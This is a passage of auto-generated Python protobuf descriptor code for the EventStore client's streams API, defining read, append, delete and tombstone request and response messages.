name='checkpoint', full_name='event_store.client.streams.ReadResp.checkpoint', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_not_found', full_name='event_store.client.streams.ReadResp.stream_not_found', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_READRESP_READEVENT, _READRESP_SUBSCRIPTIONCONFIRMATION, _READRESP_CHECKPOINT, _READRESP_STREAMNOTFOUND, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='content', full_name='event_store.client.streams.ReadResp.content',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1841,
serialized_end=3030,
)
_APPENDREQ_OPTIONS = _descriptor.Descriptor(
name='Options',
full_name='event_store.client.streams.AppendReq.Options',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.AppendReq.Options.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='revision', full_name='event_store.client.streams.AppendReq.Options.revision', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_stream', full_name='event_store.client.streams.AppendReq.Options.no_stream', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='any', full_name='event_store.client.streams.AppendReq.Options.any', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_exists', full_name='event_store.client.streams.AppendReq.Options.stream_exists', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='expected_stream_revision', full_name='event_store.client.streams.AppendReq.Options.expected_stream_revision',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3196,
serialized_end=3488,
)
_APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY = _descriptor.Descriptor(
name='MetadataEntry',
full_name='event_store.client.streams.AppendReq.ProposedMessage.MetadataEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='event_store.client.streams.AppendReq.ProposedMessage.MetadataEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='event_store.client.streams.AppendReq.ProposedMessage.MetadataEntry.value', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'8\001',
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2752,
serialized_end=2799,
)
_APPENDREQ_PROPOSEDMESSAGE = _descriptor.Descriptor(
name='ProposedMessage',
full_name='event_store.client.streams.AppendReq.ProposedMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='event_store.client.streams.AppendReq.ProposedMessage.id', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='metadata', full_name='event_store.client.streams.AppendReq.ProposedMessage.metadata', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='custom_metadata', full_name='event_store.client.streams.AppendReq.ProposedMessage.custom_metadata', index=2,
number=3, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data', full_name='event_store.client.streams.AppendReq.ProposedMessage.data', index=3,
number=4, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_APPENDREQ_PROPOSEDMESSAGE_METADATAENTRY, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3491,
serialized_end=3728,
)
_APPENDREQ = _descriptor.Descriptor(
name='AppendReq',
full_name='event_store.client.streams.AppendReq',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='options', full_name='event_store.client.streams.AppendReq.options', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='proposed_message', full_name='event_store.client.streams.AppendReq.proposed_message', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_APPENDREQ_OPTIONS, _APPENDREQ_PROPOSEDMESSAGE, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='content', full_name='event_store.client.streams.AppendReq.content',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3033,
serialized_end=3739,
)
_APPENDRESP_POSITION = _descriptor.Descriptor(
name='Position',
full_name='event_store.client.streams.AppendResp.Position',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.AppendResp.Position.commit_position', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.AppendResp.Position.prepare_position', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1169,
serialized_end=1230,
)
_APPENDRESP_SUCCESS = _descriptor.Descriptor(
name='Success',
full_name='event_store.client.streams.AppendResp.Success',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='current_revision', full_name='event_store.client.streams.AppendResp.Success.current_revision', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_stream', full_name='event_store.client.streams.AppendResp.Success.no_stream', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position', full_name='event_store.client.streams.AppendResp.Success.position', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_position', full_name='event_store.client.streams.AppendResp.Success.no_position', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='current_revision_option', full_name='event_store.client.streams.AppendResp.Success.current_revision_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='position_option', full_name='event_store.client.streams.AppendResp.Success.position_option',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3982,
serialized_end=4246,
)
_APPENDRESP_WRONGEXPECTEDVERSION = _descriptor.Descriptor(
name='WrongExpectedVersion',
full_name='event_store.client.streams.AppendResp.WrongExpectedVersion',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='current_revision_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.current_revision_20_6_0', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_stream_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.no_stream_20_6_0', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expected_revision_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_revision_20_6_0', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='any_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.any_20_6_0', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_exists_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.stream_exists_20_6_0', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_revision', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.current_revision', index=5,
number=6, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_no_stream', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.current_no_stream', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expected_revision', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_revision', index=7,
number=8, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expected_any', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_any', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expected_stream_exists', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_stream_exists', index=9,
number=10, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expected_no_stream', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_no_stream', index=10,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='current_revision_option_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.current_revision_option_20_6_0',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='expected_revision_option_20_6_0', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_revision_option_20_6_0',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='current_revision_option', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.current_revision_option',
index=2, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='expected_revision_option', full_name='event_store.client.streams.AppendResp.WrongExpectedVersion.expected_revision_option',
index=3, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=4249,
serialized_end=4960,
)
_APPENDRESP = _descriptor.Descriptor(
name='AppendResp',
full_name='event_store.client.streams.AppendResp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='success', full_name='event_store.client.streams.AppendResp.success', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='wrong_expected_version', full_name='event_store.client.streams.AppendResp.wrong_expected_version', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_APPENDRESP_POSITION, _APPENDRESP_SUCCESS, _APPENDRESP_WRONGEXPECTEDVERSION, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='result', full_name='event_store.client.streams.AppendResp.result',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3742,
serialized_end=4970,
)
_DELETEREQ_OPTIONS = _descriptor.Descriptor(
name='Options',
full_name='event_store.client.streams.DeleteReq.Options',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.DeleteReq.Options.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='revision', full_name='event_store.client.streams.DeleteReq.Options.revision', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_stream', full_name='event_store.client.streams.DeleteReq.Options.no_stream', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='any', full_name='event_store.client.streams.DeleteReq.Options.any', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_exists', full_name='event_store.client.streams.DeleteReq.Options.stream_exists', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='expected_stream_revision', full_name='event_store.client.streams.DeleteReq.Options.expected_stream_revision',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3196,
serialized_end=3488,
)
_DELETEREQ = _descriptor.Descriptor(
name='DeleteReq',
full_name='event_store.client.streams.DeleteReq',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='options', full_name='event_store.client.streams.DeleteReq.options', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_DELETEREQ_OPTIONS, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4973,
serialized_end=5343,
)
_DELETERESP_POSITION = _descriptor.Descriptor(
name='Position',
full_name='event_store.client.streams.DeleteResp.Position',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.DeleteResp.Position.commit_position', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.DeleteResp.Position.prepare_position', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1169,
serialized_end=1230,
)
_DELETERESP = _descriptor.Descriptor(
name='DeleteResp',
full_name='event_store.client.streams.DeleteResp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='position', full_name='event_store.client.streams.DeleteResp.position', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_position', full_name='event_store.client.streams.DeleteResp.no_position', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_DELETERESP_POSITION, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='position_option', full_name='event_store.client.streams.DeleteResp.position_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=5346,
serialized_end=5566,
)
_TOMBSTONEREQ_OPTIONS = _descriptor.Descriptor(
name='Options',
full_name='event_store.client.streams.TombstoneReq.Options',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='stream_identifier', full_name='event_store.client.streams.TombstoneReq.Options.stream_identifier', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='revision', full_name='event_store.client.streams.TombstoneReq.Options.revision', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_stream', full_name='event_store.client.streams.TombstoneReq.Options.no_stream', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='any', full_name='event_store.client.streams.TombstoneReq.Options.any', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_exists', full_name='event_store.client.streams.TombstoneReq.Options.stream_exists', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='expected_stream_revision', full_name='event_store.client.streams.TombstoneReq.Options.expected_stream_revision',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=3196,
serialized_end=3488,
)
_TOMBSTONEREQ = _descriptor.Descriptor(
name='TombstoneReq',
full_name='event_store.client.streams.TombstoneReq',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='options', full_name='event_store.client.streams.TombstoneReq.options', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_TOMBSTONEREQ_OPTIONS, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=5569,
serialized_end=5945,
)
_TOMBSTONERESP_POSITION = _descriptor.Descriptor(
name='Position',
full_name='event_store.client.streams.TombstoneResp.Position',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='commit_position', full_name='event_store.client.streams.TombstoneResp.Position.commit_position', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prepare_position', full_name='event_store.client.streams.TombstoneResp.Position.prepare_position', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1169,
serialized_end=1230,
)
_TOMBSTONERESP = _descriptor.Descriptor(
name='TombstoneResp',
full_name='event_store.client.streams.TombstoneResp',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='position', full_name='event_store.client.streams.TombstoneResp.position', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='no_position', full_name='event_store.client.streams.TombstoneResp.no_position', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_TOMBSTONERESP_POSITION, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='position_option', full_name='event_store.client.streams.TombstoneResp.position_option',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=5948,
serialized_end=6174,
)
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['stream_identifier'].message_type = shared__pb2._STREAMIDENTIFIER
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['start'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['end'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_STREAMOPTIONS.containing_type = _READREQ_OPTIONS
_READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option'].fields.append(
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['revision'])
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['revision'].containing_oneof = _READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option']
_READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option'].fields.append(
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['start'])
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['start'].containing_oneof = _READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option']
_READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option'].fields.append(
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['end'])
_READREQ_OPTIONS_STREAMOPTIONS.fields_by_name['end'].containing_oneof = _READREQ_OPTIONS_STREAMOPTIONS.oneofs_by_name['revision_option']
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['position'].message_type = _READREQ_OPTIONS_POSITION
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['start'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_ALLOPTIONS.fields_by_name['end'].message_type = shared__pb2._EMPTY
_READREQ_OPTIONS_ALLOPTIONS.containing_type = _READREQ_OPTIONS
